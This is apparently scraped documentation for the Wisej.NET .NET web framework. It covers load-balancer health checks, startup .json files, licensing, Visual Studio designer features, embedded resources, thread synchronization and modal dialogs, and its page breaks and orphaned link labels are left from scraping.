Place the file in your application's root folder and set "Copy to Output Directory" to "Copy if newer". The file must be in the /bin directory to be recognized.

Configuration

Wisej.NET requires client requests to route consistently to the same server instance. Configure your load balancer to use either:

  • Sticky Sessions

  • Other routing that ensures user-server instance consistency

Session

Wisej.NET requires load balancer session affinity: each user/session must route to the same server. This typically uses:

  • Sticky session cookies

  • Client IP hash

  • Other consistent routing methods

Healthcheck

Load balancers periodically verify server instance availability using a "healthcheck" URL. Options:

  • Custom HTML/ASPX page

  • healthcheck.wx to verify Wisej.NET routing component status

HealthCheck.json

Wisej.NET applications automatically respond to initial Default.html (or subapplication URL) requests by either returning the page or returning "503 Service Unavailable" (configurable in HealthCheck.json).

The following properties in HealthCheck.json control server availability. Wisej.NET uses all configured properties in this order:

maxSessions

Maximum live sessions a Wisej.NET server can accept before refusing more. Returns "503 Service Unavailable" (or HTML page from Default.json) to new users instead of risking server overload.

Set to 0 to disable this check.

maxMemory

Maximum memory percentage before returning "503 Service Unavailable". Example: Value 70 means the server returns 503 when memory usage is 70% or higher during main page request.

Set to 0 to disable this check.

maxCPU

Maximum CPU load percentage before returning "503 Service Unavailable". Example: Value 100 means the server returns 503 when CPU usage is 100% during main page request.

Set to 0 to disable this check.

returnCode

503: The server is currently unable to handle the request due to temporary overloading or maintenance. This condition should be temporary. If known, the delay length MAY be indicated in a Retry-After header. Without Retry-After, the client SHOULD handle the response as a 500 response.

retryAfter

Minutes value for the Retry-After header sent with "503 Service Unavailable" response.

Note: Most load balancers currently ignore this header.

HealthCheck.IsServerAvailable

You can install a custom static method called by the healthcheck handler. Return true if the server should be available to the load balancer, false to return 503 (unavailable).

The IsServerAvailable method can check any values to determine server availability:

Startup

Wisej.NET applications typically have a single application in the broad sense. For clarity:

  • "Sub-application" refers to an application in the strict sense

  • Each Wisej.NET project requires at least one default sub-application

Startup Files

A new Wisej.NET project creates three startup files:

  • Default.html

  • Default.json

  • Program.cs

Default.html maintains ASP.NET convention for startup pages.

Program.cs contains the static (Shared in VB) Main method.

The .html and .json filenames should match for simplicity but this isn't required.

You can:

  • Rename Default.html and Default.json

Sub-Applications

Creating

Create sub-applications in the project's root or any project folder:

  1. Right-click project/folder → Add → New Item

  2. Select Wisej on left side

  3. Click Application in list

  4. Set application Name

  5. Click Add

Example with name "Admin" creates:

  • Admin.html

  • Admin.json

  • Admin.cs

The Admin.cs file mirrors Program.cs:

Running

Wisej.NET sub-applications start with the .json file, not the .html file. Even when accessing a URL with .html, Wisej.NET looks for the corresponding .json file (rules explained below).

For the "Admin" example, Admin.json contains:

This file provides two key pieces of information:

  • url - Which .html file to display in browser

  • startup - Which server-side method to execute

When accessing http://myApp.com/Admin, Wisej.NET:

  1. Locates Admin.json

  2. Reads the url key and loads Admin.html

  3. Invokes the startup method specified in Admin.json

  • Browsers require an HTML-like file

  • Wisej.NET requires browser to load/execute wisej.wx

  • Instead of startup method, you can specify sub-application's main view (details below)

Entry Point

Wisej.NET needs the server-side startup method - in this case [ProjectName].Project.Main in assembly [ProjectName].

To instantiate an AdminPage instead of executing Main, modify Default.json:

Startup Workflow

The Wisej.NET startup process follows these steps:

  1. Locate .json file

  2. Direct browser to load/display the url HTML file

  3. Execute server-side action based on .json file:

    • Run the startup method, or

    • Instantiate the mainWindow view

Specifying both startup and mainWindow properties causes Wisej.NET to execute both.

Rules for Finding the .json File

  1. Replace Extension with .json

    • For URLs ending with an extension (e.g., http://myserver.com/Startup.php)

    • Wisej.NET looks for matching .json file (\Startup.json)

    • If .json not found and Wisej.NET loaded, wisej.wx reloads current page

  2. Append Default.json to Folder Path

    • For folder URLs:

      • Root folder (http://myserver.com) → \Default.json

      • Folder path (http://myserver.com/Suppliers/) → \Suppliers\Default.json

  3. Handle URLs Without Extensions

    • For URLs like http://myserver.com/Customers, Wisej.NET:

      1. Tries \Customers.json

      2. If not found, treats "Customers" as folder and tries \Customers\Default.json

Default Document Configuration

The Web.config file in Wisej.NET project templates includes:

This defaultDocument setting isn't required because:

  • Website root URLs are treated as folder paths

  • Wisej.NET automatically looks for \Default.json in the project root

  • Rule 2 above handles folder path resolution

License Activation

There are several different licenses:

  • Developer

    One developer license is required for each developer using Wisej.NET.

  • Server

    One server license is required for each server running Wisej.NET applications.

  • Community

    One license is required for each developer or each server using Wisej.NET.

  • Trial

    The trial license works for both: developer and server activations.

Developer License

Wisej.NET will ask you to enter the developer (or trial) license key the first time you open a window in the designer.

Enter the Developer License Key or the Trial License Key and click the ACTIVATE button.

Changing a Developer License

If you already have a Trial License and want to register the Developer License, open the Registration form by clicking on the small Wisej.NET icon in the designer's toolbar (all the way to the right) at the bottom. It will reopen the registration window where you can enter the new license.

Server License

The web server must have write permissions to the project directory or to "C:\ProgramData" to be able to properly activate the license and generate the wisej-server.lic file.

Wisej.NET saves a copy of the activated server license into the project's folder and to "C:\ProgramData\IceTeaGroup\Wisej".

When you create a new Application Pool or change the user for an existing Application Pool, make sure that the account you have selected has write permissions to the project directory and optionally to "C:\ProgramData".

Usually, the user is "IIS_IUSRS".

License Renewal

You don't need to do anything else. There is no need to re-register or to change the license key in Web.config.

License Troubleshooting

Here are some common issues that users encounter:

Deprecated Wisej.NET Server Community edition

Minimum version for Wisej.NET Server Express edition

Unsure where to view the license(s) that you already have

WrongProductName error message

Make sure that the key you enter into web.config is a server license, not a developer license.

Everything is set up correctly and you are still getting an "Invalid License" error

If you run into this issue, rebuild your project.

FAQ

Licensing

What licenses are available?

How long do I get free upgrades?

Developer and Server licenses include one year of free upgrades. You can renew it after the year expired.

What is the one-year renewal?

While you can of course continue to use the same version for an unlimited time, you need to renew your license in case you want to upgrade to a later (after expiration) or the latest version.

Do you offer volume licensing?

Can I buy the Wisej.NET source code?

Services

Do you offer online support?

Can I buy additional / priority support?

Do you offer training?

Do you offer consulting options or professional services?

How can you assist us in testing our applications?

We offer consulting packages which can be purchased and used to provide training on best practices, code evaluations, and more.

What testing tools do you support?

Katalon Studio for automation testing in the browser. Any standard .NET testing framework for the server.

Are you offering UI Redesign?

Yes, we help you and your developers design and build a stunning new User Interface while keeping most of your application intact.

What input do you need to help us with UI Redesign?

For the first steps, we need a couple of screenshots of your application. We will deliver a style proposal and show you what your application can look like.

Do you need the Source Code of my application for UI Redesign?

No.

Can I perform the UI Redesign myself?

Yes. You know all the internals of your application. We provide data sheets, the UI mockup, assets, support, theme files, etc.

Do you have Reference Material for UI Redesign?

Yes.

What are the costs for UI Redesign?

Depends. Varies from little to very little. Especially after you see what your app can really look like.

What does Custom Integration mean?

Using a third party web widget in your Wisej.NET application and wiring the properties, methods and events in a neatly built .NET class.

What widgets can be Integrated?

There is virtually no limit to what can be integrated with Wisej. We can check rather quickly once you send us the link to whatever components you’d like to use.

Do you have samples for Integration?

Yes. We have several blogs showing the integration of popular widgets from DevExpress, SyncFusion, Telerik and others.

Designer

Wisej.NET is the only web application system that supports a pixel-perfect designer. This unique technology integrates with Visual Studio designer to render final HTML directly on the design surface with minimal limitations.

You can design any JavaScript widget, including custom-built controls and C#/VB.NET backed widgets.

The Visual Studio designer can display any Wisej.NET control, effectively turning JavaScript widgets into fully designable controls.

The first thing you'll notice is the new toolbar at the bottom of the design surface:

Snap Lines

All controls in the designer provide snap lines and snap rules to help developers align controls. Wisej.NET adds custom snap lines that are saved with the container.

You can create, delete, and move horizontal or vertical snap lines in a design surface and save them in the .resx file. When other developers open the same control in design mode, they see the same snap lines, helping enforce consistent design across the development team.

To work with snap lines:

  • Create: Click on the ruler

  • Delete: Click again on the ruler at the same location

  • Move: Drag the line on the design surface

While dragging a snap line doesn't move the snapped controls with it, you can easily move a group of controls by selecting them all and moving the group as one block using arrow keys or the pointer.

Quick Actions

Wisej.NET controls extend Visual Studio's quick actions feature. When you drop a control on the design surface, the designer immediately opens the quick action menu showing common properties.

This feature significantly speeds up initial UI construction.

Add properties to the quick actions menu by applying the **DesignerActionList** attribute:

The DesignerActionList implementation in Wisej.NET eliminates the need to create custom designers for controls that need quick action lists.

Client Profiles

When designing a Wisej.NET page, form, desktop, or control you can manage multiple "views" for the same container by selecting the current Client Profile in the designer toolbar.

All the responsive properties set at design time are saved in the resx file of the container. You can find which client profiles and, for each profile, which properties are changed by inspecting the (Responsive Properties) collection.

See also:

Document Outline

The document outline view shows the full hierarchy of all the controls in the main container being designed. It's an invaluable tool to understand the structure of complex pages.

Current Theme

You can change the theme used in the designer on the fly without changing the theme used by the application. This feature allows you to see what the screen would look like with another theme and to test your custom themes.

The list is automatically populated with all the built-in themes plus all the themes that Wisej.NET can find in the /Themes folder or embedded resources in referenced assemblies.

The last option ("Select Theme...") lets you pick a theme file from any other location. This setting is saved in the registry on the developer's machine.

Colors

Transparent Colors

The designer is also able to render overlapping controls transparent colors. Since controls are rendered individually, it's a difficult task to "compose" the overlapping parts together for each control in the right order and at any depth.

This feature is off by default. You can turn it on by turning on the ShowDesignerTransparency property on the design container.

Extension Providers

The designer also supports this functionality, and is capable of updating the view of the extended controls as they are designed.

Rendering Options

This dialog lets you switch the rendering engine between the legacy Internet Explorer (IE) and the new Edge/Chrome. You can also select how many parallel rendering engines are used by the designer and the default rendering timeout.

Wisej.NET always creates the full number of parallel renderers for each designer surface open in Visual Studio. When a designer is closed, Wisej.NET places the renderers in a pool to be able to reuse the instances quickly. However, after a certain timeout, Wisej.NET disposed all the renderers above the number of parallel renderers.

The renderer timeout indicates how long the designer waits for a control to complete its rendering before showing the alert icon in the design view.

A common reason for the timeout icon to display in the designer are broken image links or broken font links.

Custom Painting

Custom painting also supported at design time, when the painting is done in the control's class (not in the Paint event handler created in the same design surface).

License Panel

Unsupported Features

  • Animations are not supported at design time

  • Extender providers that add visual items outside the extended component's rectangle (e.g., tooltips, error icons, information bubbles) are not shown at design time since they typically exist outside the component's frame

  • When rotations cause component content to exit its rectangle, the outside parts are truncated at design time but visible at runtime

Visual Studio Docker Tools

Read more:

Read more: .

See for more information.

Themes now can contain system and value settings. See .

Theme designers now can embed custom css rules directly in theme. This new feature allows for fine tuning a theme and for greater design flexibility. See .

Adds a custom control based on any visual Wisej.NET class. Use it to create you extended controls without having to use the container.

Enables enhanced load balancing support in your application. See .

The new container is a sort of a custom data grid. Instead of rows it repeats a template panel containing child controls in any layout. Child controls are automatically data-bound to the current record.

The infrastructure is virtual, which means that the only creates the visible panels and updates the controls as the user scrolls them into view, allowing the management of an unlimited numbers of records.

It can scroll its items vertically or horizontally, supports touch scrolling, can hide the scrollbar, and it can adapt to the user's device layout. You can use the to build data-bound lists of any kind for mobile or desktop devices.

This is a new simple , based on the class.

This is a new editor similar to the existing and . Handles a value in different localized formats. Supports minimum and maximum values, it’s bindable, nullable, and supports the quick increase of the time part under the cursor using the arrow keys.

It is an all-purpose that can represent simple shapes with different styles.

This new (drop it on a design surface to use it) adds a new property to all containers. If your page or form contains other containers (i.e. Panel, GroupBox) each one can manage the tab order of its children independently.

Supports 3 options: Default, and . Once set, the of all the children is set automatically, and it’s updated automatically when adding or removing children.

We have added a simple new feature to system and custom sounds.

You may also save the newly created theme to /Themes to make it available to all users through .

Wisej.NET 2.5 improves the designer experience using the new Edge/Chrome engine to render the pages at design time in Visual Studio, simplifies the deployment of the growing list of Wisej.NET Extensions, and completes the control with powerful new features.

Wisej.NET 2.5 is deployed as a local and online NuGet. It will not be in the /bin folder in Program Files anymore. See .

The control now integrates and expands the SummaryRows extensions, and fully implements the frozen rows feature.

Finally the supports frozen rows, including frozen cells spanning multiple rows.

Wisej.NET 2.5 adds support for frozen rows at the top of the DataGridView, including support for and to allow a cell to display its content across rows and columns.

Make sure your Visual Studio is configured to use the latest NuGet syntax in .csproj or .vbproj. See .

To add an extension simply select the package and it will be automatically downloaded and installed on your development machine. All it's components will also be automatically added to the .

If you don't see the templates, follow the instructions .

Hit Run.

This is the recommended project template.

Beyond the standard settings handled by IIS, Wisej.NET supports:

Specify a to override browser/OS settings.

Controls Right to Left mode. Default: "auto". Set true to force RTL mode, "auto" to detect from current culture. See .

Prevents creation of for named controls. Default: false.

When unset, shows localizable "Offline" toast on connection loss. See .

"server": Server-side caching

Custom string (e.g., "private, max-age=600")

Platform-specific options map. Example: {debug: true, nativeScrollBars: true}. Recognized by client-side framework.

If it still doesn't work, check if the \Wisej.NET 2 or \Wisej.NET 3 templates are present on your development machine under your user name here:

Run the >devenv command above again.

If it still doesn't work, delete the Visual Studio templates cache. Each installation of Visual Studio has a different unique ID. Visual Studio 2019 versions start with "16.0" and Visual Studio 2022 versions start with "17.0".

Run the >devenv command above again.

In case you encountered this issue, please post in our , or contact us via email.

We're constantly updating the Designer component, please make sure to follow the forum for any , usually, those posts would contain links to newer releases of the Wisej.NET Designer.

If you still get the problem, try to clean the designer assembly cache and repeat the steps above.

Reopen Visual Studio, recompile again and the problem should be solved.

The features described on this page may not be available for all Wisej.NET Server license editions. For more details, please review the .

Download the default

Some load balancers need TCP mode configuration for WebSocket connections. Reverse proxies like NGINX have built-in WebSocket support - see .

HTTP status code returned by /healthcheck.wx when server can't accept new sessions. Default is 503. See .

Use .aspx files for pre-load .NET code execution (see )

For more information about Wisej.NET licenses, see the handbook.

The Server License Key (or Trial Key) goes into Web.config. See . You can change it at any time. Wisej.NET will automatically activate a new license when the application is loaded.

Wisej.NET detects when a license has expired and the application is using a newer build of Wisej.NET. When this occurs, the license manager automatically downloads the new license, provided you have renewed the upgrade period on .

You may run into this issue if you have an old server license that is no longer working. The community license is deprecated. You will need a server express license instead, which you can get here: . Simply click on "get it now" under the "express" column. You will be taken to a checkout page with the free license. Complete the checkout.

The minimum version for the Server Express license is Wisej.NET 3.5.6.9. If you attempt to use a Server Express license with an older version of Wisej.NET, you will get an error message that says "Invalid Server License". To fix this error, you will need to update the Wisej.NET nuget package. You will also need to update the Visual Studio Extension (VSIX) for Wisej.NET, which can be downloaded here: . Make sure to rebuild your project once you have the new version of Wisej.NET installed.

Licenses can be viewed by going to the WIsej.NET website () clicking on "Support" in the upper right hand corner and then "Account".

Wisej.NET is licensed per Developer and per Server. There are different license types available: Developer, Server, Mobile Packages, and options for Technology Partners. You can get a first impression with the Wisej.NET Trial license or use the free Wisej.NET Community license. .

Yes, we offer volume licensing including single key deployment through our .

Yes, it's available as an additional option to our .

Yes, it's available at .

Yes, it's available as an additional option to our .

Yes, you can find more information about training options here: .

Yes, there are a number of options available. See for more details.

Check out our and open-source .

Wisej.NET integrates and extends Visual Studio's built-in designer ( significantly!). At design time, all Wisej.NET controls, including third-party JavaScript widgets, are rendered behind the scenes using an array of headless browsers ( this is one of Wisej.NET's patented technologies).

Tool
Description

Wisej.NET preloads the list with the few built-in client profiles. However, you can create your own by adding a file and see your custom profiles in the designer.

Using the toolbar you can change the level of information shown in the tree and, most importantly, you can move controls up and down their container's collection or move a control in or out a container.

Changing a theme in the designer doesn't change the application's theme. See to see how to change the application's theme.

The colors drop down lets you change the selection and glyphs colors. Doesn't really serve any purpose other than it's a cool features except that in some cases the colors of the controls may interfere with the designer colors...

Wisej.NET supports all sorts of extensions, including . These are components that when added to a container extend (add properties and functionality) to all the qualified controls in the container.

All Wisej.NET control support custom painting using a standard GDI+ context and a simple event.

ResponsiveProperties
about Brotli
Load Balancing
Theme Settings
Theme Stylesheet
UserControl
Load Balancing
DataRepeater
DataRepeater
DataRepeater
time editor
UpDownBase
DomainUpDown
NumericUpDown
TimeSpan
shape control
extender component
TabOrder
AcrossFirst
DownFirst
TabIndex
play
Application.LoadTheme(name)
DataGridView
DataGridView
DataGridView
RowSpan
ColSpan
NuGet Deployment
Visual Studio Configuration below
design toolbox
LogoDeploymentDeployment
missing templates
LogoVisual Studio Tools for Docker on Windowsdocsmsft
LogoDockerfile referenceDocker Documentation
<system.webServer>
    <modules>
      <add name="Wisej" type="Wisej.Core.HttpModule, Wisej.Framework"/>
    </modules>
    <handlers>
      <add name="wx" verb="*" path="*.wx" type="Wisej.Core.HttpHandler, Wisej.Framework"/>
    </handlers>
    <security>
      <requestFiltering>
        <requestLimits maxAllowedContentLength="1073741824"/>
      </requestFiltering>
    </security>   
    ...
</system.webServer>

  <system.web>
    <httpRuntime targetFramework="4.6" maxRequestLength="1048576"/>
    <compilation debug="true" targetFramework="4.6">
      <assemblies>
      </assemblies>
    </compilation>
  </system.web>
static class Program
{
    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    static void Main()
    {
      var form1 = new Form1();
    }

    // 
    // You can use the entry method below
    // to receive the parameters from the URL in the args collection.
    // 
    //static void Main(NameValueCollection args)
    //{
    //}
}
Public Module Program

	''' <summary>
	''' The main entry point for the application.
	''' </summary>
	''' <remarks></remarks>
	Public Sub Main()

		Application.MainPage = New Page1()

	End Sub

	' ''' <summary>
	' ''' You can use the entry method below
	' ''' to receive the parameters from the URL in the args collection.
	' ''' </summary>
	' ''' <param name="args"></param>
	' ''' <remarks></remarks>
	'Public Sub Main(args As NameValueCollection)

	'End Sub

End Module
"browserCheck": "navigator.platform == 'Win32'"
devenv /installVSTemplates
devenv /updateConfiguration
>dir %LOCALAPPDATA%\Microsoft\VisualStudio
>del %LOCALAPPDATA%\Microsoft\VisualStudio\{version}\ItemTemplatesCache_{00000000-0000-0000-0000-000000000000}
>del %LOCALAPPDATA%\Microsoft\VisualStudio\{version}\ProjectTemplatesCache_{00000000-0000-0000-0000-000000000000}
>dir %LOCALAPPDATA%\Microsoft\VisualStudio
>del %LOCALAPPDATA%\Microsoft\VisualStudio\{version}\Designer\ShadowCache
/**
 * Health Check
 *
 * You can modify the default health check configuration by
 * placing a HealthCheck.json file in the /bin directory of the
 * application.
 *
 * HealthCheck Properties:
 *
 *  maxMemory:    Maximum percentage of allocated memory. Default: 70; 0 = skip.
 *  maxSessions:  Maximum number of active sessions: Default: 100; 0 = skip.
 *  maxCPU:       Maximum CPU load in percentage: Default: 100; 0 = skip.
 *  returnCode:   Http return code to signal that this server is not available. Default: 503.
 *  retryAfter:   Value for the Retry-After header in  minutes. Default: 10.
 */
{
    "enabled": true,
    "maxMemory": 70,
    "maxSessions": 100,
    "maxCPU": 100,
    "returnCode": 503,
    "retryAfter": 10
}
static class Program 
{
    // static constructor
    static Program() 
    {
        Wisej.Core.HealthCheck.IsServerAvailable = Program.IsServerAvailable;
    }

    static bool IsServerAvailable() 
    {
        // this server can be used only on Mondays...
        return DateTime.Now.DayOfWeek == DayOfWeek.Monday;
    }
}
static class Admin
{
		/// <summary>
		/// The main entry point for the application.
		/// </summary>
    static void Main()
    {
    }
}
Public Module Program

	''' <summary>
	''' The main entry point for the application.
	''' </summary>
	Public Sub Main()
	End Sub
	
End Moule
{
	"url": "Admin.html",
	"startup": "[ProjectName].Admin.Main, [ProjectName]"
}
{
    "url": "Default.html",
    "mainWindow": "[ProjectName].AdminPage, [ProjectName]"
}
<defaultDocument enabled="true">
   <files>
       <add value="Default.html" />
   </files>
</defaultDocument>
/// <summary>
/// Returns or sets a value that indicates whether the
/// control is collapsed or expanded.
/// </summary>
[DesignerActionList]
public virtual bool Collapsed
https://wisej.s3.amazonaws.com/downloads/Templates/Templates_22.zip
Wisej.NET v2.2 Templates
LogoWebView2 - Microsoft Edge Developer
LogoIntroduction to Microsoft Edge WebView2 - Microsoft Edge Developmentdocsmsft

Embedded Resources

Wisej.NET recognizes embedded JavaScript files (.js), style sheet files (.css) and theme files (.theme and .mixin.theme).

You can use any embedded resource in your application and manage them as you would in any standard .NET application. This section covers the types and locations of resources that Wisej.NET detects and manages.

WisejResources Attribute

To use embedded resources in Wisej.NET, add the [assembly:WisejResources] attribute to your assembly in AssemblyInfo.cs.

The attribute takes two optional parameters:

  • A list of excluded resource names

  • The root name of resources when different from the default namespace

using Wisej.Core;

[assembly: WisejResources]
// or
[assembly: WisejResources(ExcludeList: "file1.js, file2.css")]
// or
[assembly: WisejResources(RootName: "MyApp.Resources.")]
<Assembly: Wisej.Core.WisejResources()>
' or
<Assembly: Wisej.Core.WisejResources("file1.js, file2.css")>
' or
<Assembly: Wisej.Core.WisejResources("", "MyApp.Resources.")>

Resources & Platform Folders

Only *.js and *.css files in these two folders are recognized by Wisej.NET and bundled in wisej.cs and wisej.css. To include a resource with [assembly:WisejResources] without bundling, place it in a different folder.

For VB.NET developers: The VB.NET compiler builds embedded resource names differently. It uses only the project's default namespace + file name, ignoring folder names. Resources in \Resources or \Platform won't be recognized when compiling with VB.NET.

To use these folders in VB.NET, rename your files like this:

  • \Resources\my-code-to-bundle.js → \Resources\Resources.my-code-to-bundle.js

  • \Platform\my-code-to-bundle.js → \Platform\Platform.my-code-to-bundle.js

Bundling and Minification

In release mode (debug flag off in Web.config), Wisej.NET automatically bundles and minifies all embedded .js and .css files from \Resources and \Platform.

JavaScript files are bundled in wisej.js. StyleSheet files are bundled in wisej.css.

Themes Folder

The \Themes folder has special handling:

  • Embedded themes/mixins in the main assembly load without [assembly:WisejResources]

  • Themes/mixins in other assemblies need [assembly:WisejResources] to load

  • Deployed theme files override embedded ones with the same name

Embedded Resource URL

Use embedded resources from any assembly by prefixing the path with resource.wx/, with or without [assembly:WisejResources].

Resource URLs work in HTML, CSS, JavaScript and Wisej.NET control ImageSource properties.

this.ImageSource = "resource.wx/image.png";
this.ImageSource = "resource.wx/MyAppAssembly/image.png";
Me.ImageSource = "resource.wx/image.png"
Me.ImageSource = "resource.wx/MyAppAssembly/image.png"
.someClass
{
  background-image: url('resource.wx/MyAppAssembly/image.png');
}

You can use the assembly name (without .dll) or just the resource name in the path.

Without an assembly specified, Wisej.NET searches all loaded assemblies for the resource.

Allowed Resource Types

The resource.wx URL works only with these file types:

".css", ".js", ".html", ".jpg", ".png", ".gif", ".svg", ".bmp", ".jpeg"

Other file types return a 404 error.

Overriding Embedded Resources

Override embedded resources by placing a file with the same name in the deployed directory.

Examples:

  • resource.wx/button.png returns either:

    • button.png at application root

    • embedded button.png

  • resource.wx/CoolImages/button.png returns either:

    • button.png in \CoolImages folder

    • embedded button.png in CoolImages.dll

LogoIntroductionTheme Builder
https://docs.wisej.com/api/wisej.web/lists-and-grids/datagridview#addsummaryrows-summarytype-summaryposition-groupcol-summarycol-style-customsummarydocs.wisej.com
https://www.nuget.org/packages?q=wisej-2www.nuget.org
LogoGetting started with Progressive Web Apps - Chrome for DevelopersChrome for Developers
▶️
👉
⚠️
👉
⚠️
👉
⚠️
⚠️
👉
⭐
Troubleshooting
Web.config
language
RightToLeft
JavaScript Object Model
Localization
ETag
Cache-Control
qooxdoo
Templates
forum
pinned post
HealthCheck.json
NGINX as a WebSocket Proxy
Status Code Definitions
Configuration
https://wisej.com
https://wisej.com/server-licenses/
https://wisej.com/builds/
https://wisej.com/
Read more
Technology Partner Program
Technology Partners
wisej.com/support
Technology Partners
Training
Professional Services
blog
GitHub samples
ClientProfiles.json
Client Profiles
Responsive Properties
Configuration
Extension Providers
Graphics
Paint
Custom Painting
here

Synchronization

Thread synchronization is very important in Wisej.NET due to its Real-Time nature and the small frequent WebSocket communication with the server. Understanding the basics of Wisej.NET synchronization helps when dealing with long-running actions, or parallel background tasks that need to interact with the user interface.

Synchronization Pattern

All events from the client are synchronized. Wisej.NET will always execute only one client event at a time in the order they are received from the client.

If the server takes a long time to process an event, the client may show a gif loader mask blocking the user from interacting with the application. The timing, loader image, and other properties are configurable in Default.json and in the theme.

Refresh requests are not synchronized with the session and are processed in parallel. The user can refresh the browser while the server is processing an event and reload the page at any time.

Data loading requests (DataGrid pulling rows, ListView pulling items) are not synchronized with the session and are processed in parallel. However, they need to lock the collection they are rendering. This feature allows a user to refresh the browser while the server is processing an action and receive back the entire application.

All collections in Wisej.NET are now synchronized at the collection level. It's the tightest possible locking and avoids any possibility of deadlocks since there are no external events in the locked blocks.

Background tasks that need to alter a collection of components owned by a control (i.e. Rows, Items, Child Controls, etc.) may lock the collection itself. Wisej.NET uses the collection instance as the SyncRoot object.

Fair Locking

Usually thread locks are not guaranteed by the OS to be released in the order they are acquired.

Wisej.NET uses a special implementation of the "Fair Locking" pattern to guarantee that the threads are released in the order they are received and that if a component is disposed while waiting for the server to process its events the execution is aborted.

Background Tasks

If your application runs background tasks that interact with UI controls, remember to check if the control has been disposed and lock the collections you are manipulating. If the user closes the application or the parent of a control, the control is disposed and your background task may generate an exception.

In general, the synchronization of your application is entirely up to you, like in any other system. Wisej.NET can only guarantee the synchronization of its internal functions.

Shows a welcome page with resources, help and tips.

Switches the theme used in the current design surface.

Changes the color used to draw selection lines and glyphs.

Changes the size of the grid in the background of the design surface.

Takes a screenshot of the selected control or the entire design surface and saves it in the clipboard.

Hides or shows controls with Visible set to false. Visual Studio designer always shows all controls, including the controls with Visible set to false. When a container has several controls that overlap and may be shown/hidden at runtime, the design view can become quite messy. This toggle button solves this problem.

Refreshes the select controls or the entire designer surface. It's useful when the rendering of the widget is incomplete because of a complex control or a third party library slow to load.

Shows or hides the anchor glyhps. In complex screens it is possible to click the anchoring glyphs by mistake, this tool disables the feature.

Shows the toolbox.

Shows the Document Outline viewer.

Shows the property viewer for the selected control.

Shows the name, location and size of the selected control.

Shows the current HTML renderer and opens the designer options dialog.

Shows the Wisej.NET License Panel.

Tab Order

Tab navigation concepts.

Managing the tab order of complex screens can become very time consuming. If you add a control in the middle of a set of fields you have to renumber the following fields. Do that for a form with 100+ fields and you'll appreciate what we have added to Wisej.NET.

Designer

Press Manual and the designer enters "tabbing mode" - you must click every single control from the start to set the correct sequence. Miss one and you'll have to start again.

Press Horizontal or Vertical and Wisej.NET automatically renumbers all the tab indexes using a horizontal or vertical navigation algorithm and enters "tabbing mode".

TabOrderManager Extender

Sometimes you may want to use horizontal tabbing in one container and vertical tabbing in another, or disable renumbering altogether. The Wisej.NET TabOrderManager component allows you to do that at design time.

Change Programmatically

The same design-time issue is present at runtime when the Wisej.NET application adds or removes controls dynamically. In code you can go through the controls collection and assign new tab indexes. However, the assignment becomes more complicated when there are containers and nested containers.

Modal Workflow

In a program, a modal workflow is a mode of operation in which a particular task or feature must be completed before the user can proceed to other tasks or features. This is typically implemented by displaying a modal window or dialog box that requires user interaction before continuing.

Modal workflows are often used when users must complete specific tasks or provide required information. For example, a modal workflow might prompt users to save work before closing a document, or enter login credentials before accessing restricted areas.

Modal workflows help guide users through specific steps or highlight important actions. However, if overused, they can disrupt workflow.

In web applications, supporting modal workflow means:

  • Suspending server-side code execution

  • Waiting for user input

  • Resuming execution with received user information

While straightforward in desktop applications, this becomes challenging in web applications where code executes on the server and the UI runs asynchronously on different machines.

Modal Workflow

The code and images below demonstrate how Wisej.NET handles modal code execution:

void button1_Click(object sender, EventArgs e)
{
    if (MessageBox.Show("Are you sure?", buttons: MessageBoxButtons.YesNo) == DialogResult.Yes)
    {
          this.button1.BackColor = Color.Green;
          this.button1.Text = "You selected: Yes!";
    }
}
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
	If MessageBox.Show("Are you sure?", buttons:=MessageBoxButtons.YesNo) = DialogResult.Yes Then
		Me.Button1.BackColor = Color.Green
		Me.Button1.Text = "You selected: Yes!"
	End If
End Sub

The server code suspends, waiting for user choice. After clicking Yes or No on the client-side, the server code resumes exactly where it was suspended.

Wisej.NET supports:

  • Nested modal states

  • Custom DialogResult values

  • Control references in modal dialogs

  • User input data access

Modal Dialogs

Modal workflow works for MessageBox and forms (dialog boxes) with any type of control, data binding, and code-behind. The example above, modified to use a modal dialog, looks like this:

void button1_Click(object sender, EventArgs e)
{
  using (new dialog = new EnterCustomerAddress())
  {
    if (dialog.ShowDialog(this) == DialogResult.OK)
    {
        AlertBox.Show(dialog.textBoxAddress.Text + " " + dialog.textBoxState.Text);
    }
  }
}
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
	Using dialog As New EnterCustomerAddress()
		If dialog.ShowDialog(Me) = DialogResult.OK Then
			AlertBox.Show(dialog.textBoxAddress.Text + " " + dialog.textBoxState.Text)
		End If
	End Using
End Sub

Regular modal dialogs or MessageBox controls suspend the current thread while waiting for user input. By default the system handles about 32,000 threads. While suspended, threads use no CPU time.

Async Modal Dialogs

Wisej.NET fully supports the async/await programming pattern for modal dialogs.

Using the await keyword, a modal dialog can wait for closure without thread suspension. Simply use the "Async" version of the ShowDialog method.

The async version of MessageBox is MessageBox.ShowAsync(...).

void async button1_Click(object sender, EventArgs e)
{
  using (new dialog = new EnterCustomerAddress())
  {
    if (await dialog.ShowDialogAsync(this) == DialogResult.OK)
    {
        AlertBox.Show(dialog.textBoxAddress.Text + " " + dialog.textBoxState.Text);
    }
  }
}
Private Async Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
	Using dialog As New EnterCustomerAddress()
		If Await dialog.ShowDialogAsync(Me) = DialogResult.OK Then
			AlertBox.Show(dialog.textBoxAddress.Text + " " + dialog.textBoxState.Text)
		End If
	End Using
End Sub

Asynchronous modal dialogs or MessageBox controls don't use any threads while waiting for user input.

Custom Modal State

You can implement modal behavior and wait for user input without using modal dialogs or MessageBox controls. Wisej.NET provides Application.DoModal(component) for this purpose.

For example, the PropertyGrid uses Application.DoModal() to suspend code flow while waiting for dropdown selection box closure. Use Application.EndModal(component, result) to terminate the last modal state - modal states are stacked.

// Open the combo box drop down list and wait
// for the user to select an item or close the combo box.
private void button1_Click(object sender, EventArgs e)
{
	this.comboBox1.DroppedDown = true;
	this.comboBox1.DropDownClosed += ComboBox1_DropDownClosed;
	this.comboBox1.SelectedIndexChanged += ComboBox1_SelectedIndexChanged;

	// wait for the user to either pick an item or close the drop down.
	var result = Application.DoModal(this.comboBox1);

	// code execution will resume here.
}

private void ComboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
	this.comboBox1.DropDownClosed -= ComboBox1_DropDownClosed;
	Application.EndModal(this.comboBox1, DialogResult.OK);
}

private void ComboBox1_DropDownClosed(object sender, EventArgs e)
{
